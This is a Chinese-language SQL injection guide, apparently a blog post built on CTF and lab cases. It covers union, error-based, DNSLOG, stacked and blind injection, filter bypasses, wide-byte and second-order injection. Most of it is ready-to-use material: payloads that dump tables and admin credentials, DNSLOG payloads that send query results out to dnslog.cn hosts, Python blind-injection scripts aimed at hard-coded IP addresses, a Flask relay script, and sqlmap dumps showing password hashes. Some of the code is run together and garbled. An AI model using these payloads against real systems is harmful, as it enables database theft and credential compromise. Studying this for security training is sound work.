sql注入漏洞检测攻略
- 一、注入分类
-
- 1.可回显注入
- 2.不可回显注入
- 3.二次注入
- 二、如何判断
-
- 1.基于报错的检验
- 2.通过布尔的检验
- 3.通过连接符+
- 三、绕过
-
- 1.过滤关键字
- 2.过滤空格
- 3.过滤单引号
- 四、注入方式举例
-
- 1.常规手工注入
- 2.SQL盲注注入——布尔型
- 3.sqlmap注入
- 4.宽字节注入
- 5.sqlmap跑base64注入点
- 6.二次注入
-
- 1)二次注入概念:
- 2)二次注入案例
-
- 案例一:
- 案例二:
- 案例三:
一、注入分类
1.可回显注入
- 可以联合查询的注入。
程序进行数据库的查询之后,会将查询的结果直接返回在页面上。通过SQL注入后程序执行类似下面的语句 select id,name from product where id = 1 union select 1,user() 将在原本显示name处,显示的是user()函数返回的结果。 - 报错注入。
通过注入使程序报错的语句,将敏感信息显示在错误提示中。通常程序使用了mysql_error类似的函数,将错误信息直接显示在页面中。使用SQL注入后程序将执行类似下面的语句 select id,name from product where id = 1 and updatexml(1,concat(0x7e,user(),0x7e),1) 在显示错误信息的同时也会将user()函数执行的结果返回在页面上。
1.floor报错注入:
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)2.updatexml(xml_name,xpath, value)
xml_name:xml文档的名称,可以随便填写,因为我们是要导致报错,而不是真的要替换。
xpath:xpath语法,可以死记硬背,格式为 : concat(0x7e,(查询语句),0x7e)
value:我们要替换文件后的 一个新的文件, 依然随便填写。
updatexml第二个参数需要的是Xpath格式的字符串,输入不符合,因此报错
1)爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
2)链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
3)爆库名
id=1' and updatexml(11,concat(0x7e,(select database()),0x7e),11)-- q
4)爆表名
id=1' and updatexml(11,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),11) --+qq
5)爆字段
id=1' and updatexml(11,concat(0x7e,(select column_name from information_schema.columns
where table_schema=database() and table_name='user'limit 0,1),0x7e),11) --+
6)爆字段值
?id=1' and updatexml(11,concat(0x7e,(select username from user where id=1),0x7e)) --+q
相关应用:
insert场景报错注入
insert into member(username,pw,sex,phonenum,email,address) values('wangwu'or updatexml(1,concat(0x7e,(users())),0) or'',md5('a'),'a','aa','a','a')wangwu'or updatexml(1,concat(0x7e,(命令)),0) or'update场景报错注入
update data1 set year = 11 or updatexml(1,concat(0x7e,(命令)),0) where id =7 delete场景报错注入
delete from users where id=2 or updatexml(1,concat(0x7e,(命令)),0)3.extractvalue报错注入
and extractvalue(1,concat(0x7e,(select database())))4.exp报错注入:
and exp(~(select * from(select user())a))
- 通过注入进行DNS请求,从而达到可回显目的( 此方式仅用于myslq)。
参考文章:https://www.jianshu.com/p/3201dfc60f6d
遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
show variables like '%secure%';查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
查询库名
and (select load_file(concat('\\\\',(select database()),'.rmqdup.dnslog.cn\\yoyo')))
PS:这里使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据);对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。
查询表名
and (select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.9cfoby.dnslog.cn\\yoyo')))
查询字段名
and (select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
查询字段内容
and (select load_file(concat('\\\\',(select username from admin limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
and (select load_file(concat('\\\\',(select password from admin limit 0,1),'.h7scsv.dnslog.cn\\yoyo')))
- 堆查询
这种类型的注入也称为多语句注入,其意思为通过分号就能将前一个语句结束,然后注入一个新的语句。例如:select * from product where id = 1;delete from product where id =2 这种类型的注入常出现在php的pdo环境,ASP.NET与MSSQL,Java与MySQL。
2.不可回显注入
盲注:
布尔形盲注
时间形盲注
bool盲注由于代码中不进行回显,只固定回显正常页面和报错页面。而时间盲注则是带入来sql语句执行。但是页面并不如显错注入、报错注入等等。只能通过延时来判断;
length() : 返回字符串长度
substr() :截取字符串 (语法:substr(string,start,leng))
SUBSTRING(str FROM pos FOR len)#当逗号被过滤时候可用这个
ascii() : 返回字符的ascii码(将字符等变为数字)
sleep() : 需要延迟的时间
if(str1,str2,str3) : 判断语句,如果第一个语句正确,就执行第二个,如果错误就执行第三个
- Bool盲注
当测试到一个注入点,此注入点不能直接通过联合查询与报错来获取注入。通过构造逻辑判断可以发现页面有字符不同或者页面数据大小发生变化,这种称为布尔型盲注。
布尔盲注 select id,name from product where id = 1 or 1=1
Bool盲注样例
第一步:猜测数据库名称的长度
id=1' and length(database()) = 1-- qwe
id=1' and length(database()) = 2-- qwe
id=1' and length(database()) = 3-- qwe
id=1' and length(database()) = 4-- qwe第二步:查询库名
利用substr() 截取数据库,然后使用ascii() 函数,转换为数字,也就是ascii码id=1' and (ascii(substr(database(),1,1))) = 115-- q
id=1' and (ascii(substr(database(),1,1))) = 116-- q第三步:查询表名id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117-- qq
Bool盲注python脚本模板1
#coding=utf-8import requestsdef login(_username,_password):#需要改动处url = "http://58.154.33.13:8001/login.php"data = {"username":_username,"password":_password}response = requests.post(url,data=data)content = response.content#print content#这里是判断盲注的单个字符是否正确的条件,一般这个脚本模板在使用之前要修改此处#此题是因为注入username字段,当payload后面的语句正确的时候,返回的是密码错误,如果错误返回用户名错误#payload=_username = "amin' or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username='admin'),%d,1)))=%d))#" %(i,j)if "密码错误" in content:return Trueelse:return Falsedef main():find_name = ""# i 表示了所要查找的名字的最大长度for i in range(0x50):# 0x80=128 , 0x20=32, 32-128为可显示的字符的区间for j in range(0x80 , 0x20 , -1):#mysql 官方注释 "-- " --后面有空格,或者用 "#"#_username = "amin' or (((asCIi(sUBsTring((sELect/**/gROup_conCAt(sCHEma_name)/**/From/**/inFormation_SChema.scHemata),%d,1)))=%d))#" %(i,j) #此处是payload,需要改动#_username = "amin' or (((asCIi(sUBsTring((sELect/**/sCHEma_name/**/From/**/inFormation_SChema.scHemata/**/Limit/**/3,1),%d,1)))=%d))#" %(i,j)#_username = "amin' or (((asCIi(sUBsTring((sELect/**/group_concat(Table_name)/**/From/**/inFormation_SChema.tAbles/**/where/**/taBle_schema='sql1'),%d,1)))=%d))#" %(i,j)#_username = "amin' or (((asCIi(sUBsTring((sELect/**/group_concat(columN_name)/**/From/**/inFormation_SChema.columns/**/where/**/taBle_naMe='admin'),%d,1)))=%d))#" %(i,j)_username = "amin' or (((asCIi(sUBsTring((sELect/**/passWord/**/From/**/admin/**/where/**/username='admin'),%d,1)))=%d))#" %(i,j)#_username = "amin' or (ASCII(sUBsTring((user()),%d,1)=%d )) --" %(i,j)#_username = "amin'or(((asCIi(sUBString((sELEct/**/group_concat(scheMA_Name)/**/FRom/**/inforMATion_scheMa.schemaTa),%d,1)))=%d))-- " % (i, j)#可改动处_password="amin"print _usernameif login(_username,_password):find_name+=chr(j)print find_namebreakmain()
Bool盲注python脚本模板2
#!/usr/bin/python
# coding:utf-8
import requestsdicts = 'abcdefghijklmnopqrstuvwxyz0123456789'flag = ''for x in xrange(1,50):for i in dicts:url = 'http://106.12.37.37:8080/level2/?token=xxx&userid=(ascii(substr((select password from user) from d% for 1))=%d)&password=1' %(x,ord(i))try:response = requests.get(url,timeout = 5)if response.content.find('error password!') != -1:flag = flag + iprint(flag)breakexcept Exception as e:pass
print(flag)
- 时间盲注
若页面完全没有变化,则可以通过使用数据库的延时函数来判断注入点,这称为时间型盲注。
基于sleep函数的时间盲注:
select id,name from product where id = 1 and sleep(2)
select case when username='admin' THEN 'aaa' ELSE (sleep(3)) end from user;
Select * from table where id = 1 and (if(substr(database()1,1)=' ',sleep(4),null))Select * from table where id = 1and
(if(ascii(substr(database(),1,1))=100,sleep(4),null))#当不允许使用''时,可以转为ASCII码判断
利用 BENCHMARK(count,expr) 函数延时
BENCHMARK()函数重复count次执行表达式expr。它可以被用于计算MySQL处理表达式的速度。
select benchmark(10000000,sha(1));
利用笛卡尔积延时
SELECT count(*) FROM information_schema.columns A,
informationschema.columns B,information_schema.tables C
时间盲注样例
第一步:判断时间盲注
id=1" and sleep(5)--+第二步:判断数据库长度
if(length(database())=12,sleep(5),1)第三步:查询库名
id=1" and if(ascii(substr(database(),1,1))>=50,sleep(5),1)--+第四步:查表名
id=1" and if(ascii(substr((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1) >=1,1,1)),sleep(5),1)--+
3.二次注入
二、如何判断
1.基于报错的检验
输入’或者’‘根据报错区分数据库类型
access Microsoft JET Database Engine JET
mssql System.Data.SqlClient.SqlException
mysql select * from article where id=1’ mysql you have an error in your url
oracle ORA-01756
2.通过布尔的检验
1’ and ‘1’=‘1 返回正常界面
1’ and ‘1’='2 返回异常界面
1’ or ‘1’=‘1 如果存在注入的,会把表中所有数据输出,返回异常界面
1’ or ‘1’='2 返回正常页面
3.通过连接符+
数字类型 +1 如果有结果,说明在数据库中进行了加运算
字符串类型 '+'1 如果有报错在数据库中进行了字符连接
三、绕过
1.过滤关键字
- 穿插关键字绕过
- 双重URL编码绕过
2.过滤空格
- 注释符绕过
- URL编码绕过
- 科学计数法绕过
3.过滤单引号
详见宽字节绕过举例
四、注入方式举例
1.常规手工注入
1.)判读字段有多少:
目前已猜出来有admin表,然后尝试测试admin表有多少字段
http://172.16.240.80:81/Index.asp?id=1 order by 1
http://172.16.240.80:81/Index.asp?id=1 order by 2
…
http://172.16.240.80:81/Index.asp?id=1 order by 3
http://172.16.240.80:81/Index.asp?id=1 order by 4 ——报错
说明有三个字段
2)然后尝试看看表中的哪些字段有回显示
http://172.16.240.80:81/Index.asp?id=1 union select 1,2,3 from admin
发现字段1无回显,利用2,3字段进行猜测
http://172.16.240.80:81/Index.asp?id=1 union select 1,username,password from admin
mysql
3)进一步爆库、表、字段
—爆所有相关库、表、字段—
爆所有数据库名
and 1=2 union select 1,group_concat(SCHEMA_NAME),3,4 from information_schema.schemata
爆当前数据库所有表
and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
爆表中的字段名
and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名的十六迚制编码或者’表名’
爆挃定字段值
and 1=2 union select 1,group_concat(字段1,0x7c,字段名2),3,4 from 表名
group_concat函数的使用可参考如下文章;
https://blog.csdn.net/wuxianbing2012/article/details/85251338
注意:
如测试发现过滤 空格 order by等,可使用/**/,示例如下:
1'/**/OrDer/**/By/**/6#
-1'/**/UNioN/**/SelECt/**/1,2,group_concat(TaBle_NaMe),4,5/**/FrOm/**/InfOrMation_SCheMa.TaBlEs/**/WheRe/**/tAbLe_ScHEma=database()#
具体案例:sql注入绕过关键字过滤
带入1’发现数据库报错,发现注入点,很容易找到!
发现过滤 空格 order by
使用该种方式绕过
1'/**/OrDer/**/By/**/6# 判断出字段长度为5
猜解库名-1'/**/UNioN/**/SelECt/**/1,2,database(),4,5#
-1'/**/UNioN/**/SelECt/**/1,2,group_concat(TaBle_NaMe),4,5/**/FrOm/**/InfOrMation_SCheMa.TaBlEs/**/WheRe/**/tAbLe_ScHEma=database()#
-1'/**/UNioN/**/SelECt/**/1,2,group_concat(CoLuMn_NaMe),4,5/**/FrOm/**/InfOrMation_SCheMa.ColUMns/**/WheRe/**/tAbLe_ScHEma=database()/**/And/**/TabLe_NaMe='this_keykey'#
猜解字段is_key的内容
-1'/**/UnIOn/**/SeLEct/**/1,2,is_key,4,5/**/FrOm/**/this_keykey#
2.SQL盲注注入——布尔型
需要了解的一些函数:
Length()函数 返回字符串的长度
SUBSTR(str,pos,len)截取字符串,从pos开始的位置,截取len个字符(空白也算字符)
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
POST类型示例:
当输入正确可查询id的时候,显示内容this uid is you?, 错误时显示what are you doing?构造单引号时,发现并无数据库报错显示,这里可以猜测是布尔盲注。
先使用sqlmap撸一波,发现没有成功,猜测有过滤。
右键查看源码,发现提示,key在表key1的列value中。
构造payload,发现过滤空格而已,绕过即可。
测试payload为
1'/**/and/**/ascii(substr((select/**/value/**/from/**/key1),1,1))>1#
上脚本:
#!/usr/local/env python3
#coding:utf-8import requests
import sysurl = "http://121.41.13.133:8006/index.php"
payload = "1'/**/and/**/substr((select/**/value/**/from/**/key1),{},1)='{}'#"
str_list = "1234567890abcdefghijklmnopqrstuvwxyz"def get_key(target, payload):data = {"uid":payload} #uid就是?后的参数res = requests.post(url, data=data)if "this uid is you?" in res.text:return Truereturn Falseif __name__ == '__main__':for i in range(1, 17):for j in str_list:temp = payload.format(i, j)status = get_key(url, temp)if status:sys.stdout.write(j)sys.stdout.flush()break
3.sqlmap注入
sqlmap -u url
-r 数据包
判断有没有注入
sqlmap.py -u “url”
爆所有数据据库名
sqlmap.py -u “url” –dbs
爆当前数据库名
sqlmap.py -u “url” –current-db
爆表
sqlmap.py -u “url” -D 库名 –tables
爆字段
sqlmap.py -u “url” -D 库名 -T 表名 –columns
爆字段内容
sqlmap.py -u “url” -D 库名 -T 表名 -C 字段 –dump
查看当前数据库账号
sqlmap.py -u “url” –current-user
判断是否是dba权限
–is-dba
–tamper
详情见这位博主的文章:
Tamper详解及使用指南
案例:
1)数据包方式
python sqlmap.py -r C:\Users\acer\Desktop\111.txt –level 3
注意:
记得加–level=3否则跑不出来,默认是level1。
最好在注入点出加个*,否则要跑很长时间。
2)带cookie
sqlmap.py -u “http://127.0.0.1/dvwa/vulnera
bilities/sqli/?id=&Submit=Submit#” –cookie=“PHPSESSID=8bloladl8m1350lg05436kfbo3;security=low”
3)URL方式
sqlmap.py -u “http://地址+id”
4)爆库、表、字段
查询所有数据库
sqlmap.py -u "http://127.0.0.1/dvwa/vulnera
bilities/sqli/?id=&Submit=Submit#" --cookie="PHPSESSID=8bloladl8m1350lg05436kfbo
3;security=low" --dbs
查询所有数据库表sqlmap.py -u "http://127.0.0.1/dvwa/vulnera
bilities/sqli/?id=&Submit=Submit#" --cookie="PHPSESSID=8bloladl8m1350lg05436kfbo
3;security=low" -D "dvwa" --tablessqlmap -u "http://172.16.240.65/list.php?id=1" -D cimer --tables
+---------+
| admin |
| article |
| content |
+---------+
查询指定表所有字段
sqlmap -u "http://172.16.240.65/list.php?id=1" -D cimer -T admin --columns
+----------+------------------+
| Column | Type |
+----------+------------------+
| id | int(10) unsigned |
| password | char(32) |
| username | varchar(30) |
+----------+------------------+报指定表字段内容
sqlmap -u "http://172.16.240.65/list.php?id=1" -D cimer -T admin -C username --dump
+----------+
| username |
+----------+
| admin |
| root |
| test |
+----------+或者使用sql语句一次性查询表中所有内容
sqlmap.py -u "http://127.0.0.1/dvwa/vulnera
bilities/sqli/?id=&Submit=Submit#" --cookie="PHPSESSID=8bloladl8m1350lg05436kfbo
3;security=low" -D "dvwa" --sql-query="select * from users"sqlmap -u "http://172.16.240.65/list.php?id=1" -D cimer --sql-query="select * from admin"select * from admin [3]:
[*] 1, a41b97ca8f2b827d, admin
[*] 2, 21232f297a57a5a743894a0e4a801fc3, test
[*] 3, 63a9f0ea7bb98050796b649e85481845, root
4.宽字节注入
详情参考文章
https://blog.51cto.com/12332766/2146755
概念:
1、我们都知道,在防御SQL注入的时候,大多说都是使用的过滤特殊字符,或者使用函数将特殊字符转化为实体,就是说在字符转义,添加‘\’。这里第一条就是有这个机制。
2、设置宽字节字符集,这里为GBK字符集,GBK字符集占用两个字节。关键就在于这个设置字符集。通常有很多方法可以设置,例如:
(1) mysql_query,如mysql_query(“SET NAMES ‘gbk’”, $conn)、mysql_query(“setcharacter_set_client = gbk”, $conn)。
(2) mysql_set_charset,如mysql_set_charset(“gbk”,$conn)。
实现过程:当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的编码是%df%5c’.这时候网站字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%df\是一个汉“運’”,这样的话,单引号前面的\就不起作用了,从而转义失败,题目就会出现报错信息。
案例:
1.查看网页源码
出现字符集gb2312,这时候就应该想到宽字节注入
2.报错测试可注入
出现了报错信息,因为构成的语句中会多出一个单引号。例如查询语句为:
$name=addslashes($_POST[‘name’])
Select * from user where name=’$name
将我们的%df’传递进去就变成了:
Select * from user where name=’%df\’’
3.查询字段数:
%df’ order by 2 %23
这里%23表示注释#,意指去将后面的语句注释掉包括什么多出的单引号和limit限制只能查询一行的语句。
4.判断数据库,得到数据库的 名字。
%df’ union select 1,database() %23
5.接着根据题目提示,给出了表名和字段名,可以直接查询字段内容
%df’ union select 1,string from sql5.key where id=1 %23
5.sqlmap跑base64注入点
sqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –db
6.二次注入
参考:
https://www.jianshu.com/p/3fe7904683ac
https://2ly4hg.smartapps.cn/pages/article/article?articleId=227973811&authorId=472906&spm=smbd.content.share.0.1599363485430bwvmzkr&hostname=baiduboxapp&_swebfr=1
1)二次注入概念:
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
二次注入,可以概括为以下两步:
第一步:插入恶意数据
进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
2)二次注入案例
案例一:
SQLIlab lesson-24
这题正常的流程是首先注册一个账号,然后登陆进去会让你修改新的密码:
如果直接尝试在登陆处尝试SQL注入,payload: admin’# 发现失败:
看一下源代码:
登陆处的username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义’,所以该处无法造成SQL注入。
此时我们注册一个test’#的账号:
注册用户的时候用了mysql_escape_string过滤参数:
但是数据库中还是插入了问题数据test’#
也就是说经过mysql_escape_string转义的数据存入数据库后被还原,这里做了一个测试:
回到题目,此时,test用户的原来密码为test,我们以test’#用户登陆,再进行密码修改
我们无需填写current password即可修改test用户的密码:
我们再看一下test用户的密码:
我们看一下源代码:
Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:
“UPDATEusers SET PASSWORD=’22′ where username=’test’#‘ and password=’$curr_pass’”;
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。
案例二:
强网杯”three hit
题目描述:
打开看看:
尝试注入失败
注册一个账号:
登陆进去会显示用户名,age,以及和该用户age相同的用户名。这里题目对用户名做了限制只能为0-9a-zA-Z,对age限制为只能是数字。
根据题目的显示,猜测SQL语句
Select name from table whereage=xx limit 0,1;
猜测age处存在SQL注入, 这里后来看了其他大佬的解题思路,某大佬直接访问.index.php.swp,获得了源代码(其实是比赛方在修改代码,非预期):
可以看到对age进行了is_numeric处理,可以用16进制编码绕过。
Payload:
1 and 1=2#
0x3120616e6420313d3223
用0x3120616e6420313d3223作为age注册一个用户:
发现查询为空。
再试试
1 and 1=1#
0x3120616e6420313d3123
用0x3120616e6420313d3123作为age注册一个用户:
此时发现可以查询到aaa用户,根据and 1=1 和 and 1=2返回不同判断此处存在二次SQL注入,注册用户的age字段直接被后续的查询语句所调用。接下来的操作和普通的SQL注入测试操作没有什么区别,首先还是测有几列:
Payload:
1 order by 4#
注册age为0x31206f72646572206279203423的用户:
查询正常。
Payload:
1 order by 5#
0x31206F7264657220627920352023
查询失败,可以判断列数为4,接下来就是暴库,首先用union看看可以利用显示的字段:
可以看到第二列可以用来显示,接下来暴库:
Payload:
1 and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata#
0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e63617428736368656d615f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e736368656d61746123
可以看到 数据库名qwb,接下来爆表
Payload:
1 and 1=2union select 1,group_concat(table_name),3,4 from information_schema.tableswhere table_schema=‘qwb’#
0x3120616e6420313d3220756e696f6e2073656c65637420312c67726f75705f636f6e636174287461626c655f6e616d65292c332c342066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d277177622723
最终payload:
1 and 1=2union select null,concat(flag),null,null from flag#
0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723
注册一个age为0x313920616e6420313d3220756e696f6e2073656c656374206e756c6c2c636f6e63617428666c6167292c6e756c6c2c6e756c6c2066726f6d20666c616723的用户:
案例三:
注册⼀一个alx\,然后在修改密码的页面可以发现报错,可以看到是双引号。
这明显是一个二次注入,然后重新构造语句,发现不能含有空格。但是这并不不影响,直接用括号代替就行了。
对username进行fuzz,可以得到哪些字符串被过滤了。
create
use
and
Or
count
from
1=1
=
1+1
%
drop
update
set
where“
flush
#
/**/
%0c
%0d
%09
%0a
concat()
group_concat()
concat_ws()
system_user()
user()
current_user
session_user()
database()
version()
load_file()
@@datadir
@@basedir
@@version_compile_os
Order by
By
Order
union
select
,
information_schema
information_schema.columns
columns
table_name
0x
table_schema
insert
load_file
char
into
update
count
if
cot
ascii
mid
substr
left
right
REGEXP
limit
sleep
benchmark
substring
sha1
'
"
--
;
/*!32302*/
||
&&
&
|
CHR
hex()
)
(
HAVING
GROUP BY
sum
NULL
convert
users
flag
values
like
into
EXEC
master.dbo.xp_cmdshell
ISNULL
DELAY
WAITFOR
load_file
MD5()
SHA1()
ENCODE()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()
cast
case when
@@
TRUE
FALSE
WHERE
OFFSET
RLIKE
MAKE_SET
ELT
IIF
EXP
~
JSON_KEYS
USING
utf8
FLOOR
random
rand
EXTRACRVALUE
UPDATEXML
ROW
<
>
=
MAX
MIN
CAST
AS
NUMERIC
IN
UPPER
PG_SLEEP
REGEXP_SUBSTRING
PROCEDURE ANALYSE
into
NAME_CONST
binary
注册时候的用户名和密码,最后会反馈在修改密码处。此时,我们可以引入一个代理中转的方式。将多个行为转为一个行为。
整个攻击逻辑流:
1.注册一个用户,注入点在username。
2.登陆用户,修改密码,触发漏洞
中转脚本如下:
# -*- coding: utf-8 -*-
#二次注入中转脚本,由于注入点在username,sql注入需要一边又一遍注册用户,登录,然后修改密码(修改密码时候回返回报错回显),所以通过脚本中转
from contextlib import closing
import requests
from flask import Flask, request, Responseapp = Flask(__name__)
end_host = '152.136.63.75:20194'
session = requests.Session()@app.before_request
def before_request():"""请求前处理:return:"""url = request.url.replace(request.host, end_host)method = request.methoddata = request.data or request.form or Noneheaders = dict()for name, value in request.headers:if not value or name == 'Cache-Control':continueheaders[name] = valuer = hack(method, url, headers, data)resp_headers = []for name, value in r.headers.items():if name.lower() in ('content-length', 'connection','content-encoding'):continueresp_headers.append((name, value))return Response(r, status=r.status_code, headers=resp_headers)def hack(method, url, headers, data):username = data['username']username.replace(" ","%0b");register(username)login(username)return changepwd()def register(username):paramsPost = {"password": "123", "email": "11", "username": username}headers = {"Origin": "http://166.111.227.240:21679","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36","Referer": "http://166.111.227.240:21679/register.php", "Connection": "close","Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8","Content-Type": "application/x-www-form-urlencoded"}response = session.post("http://{}/register.php".format(end_host), data=paramsPost, headers=headers)print("Status code: %i" % response.status_code)print("Response body: %s" % response.content)def login(username):paramsPost = {"password": "123", "username": username}headers = {"Origin": "http://166.111.227.240:21679","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36","Referer": "http://166.111.227.240:21679/login.php", "Connection": "close","Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8","Content-Type": "application/x-www-form-urlencoded"}response = session.post("http://{}/login.php".format(end_host), data=paramsPost, headers=headers)print("Status code: %i" % response.status_code)print("Response body: %s" % response.content)def changepwd():paramsPost = {"oldpass": "", "newpass": ""}headers = {"Origin": "http://166.111.227.240:21679","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1","User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36","Referer": "http://166.111.227.240:21679/changepwd.php", "Connection": "close","Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8","Content-Type": "application/x-www-form-urlencoded"}response = session.post("http://{}/changepwd.php".format(end_host), data=paramsPost, headers=headers)print("Status code: %i" % response.status_code)print("Response body: %s" % response.content)return responseapp.run(port=8007, debug=True)
进行注入:
注意不能直接访问页面,用post方式提交。
由于页面前台显示的长度有限制,所以用正则regexp匹配f,找flag。
发现flag不全,用revers逆序输出下。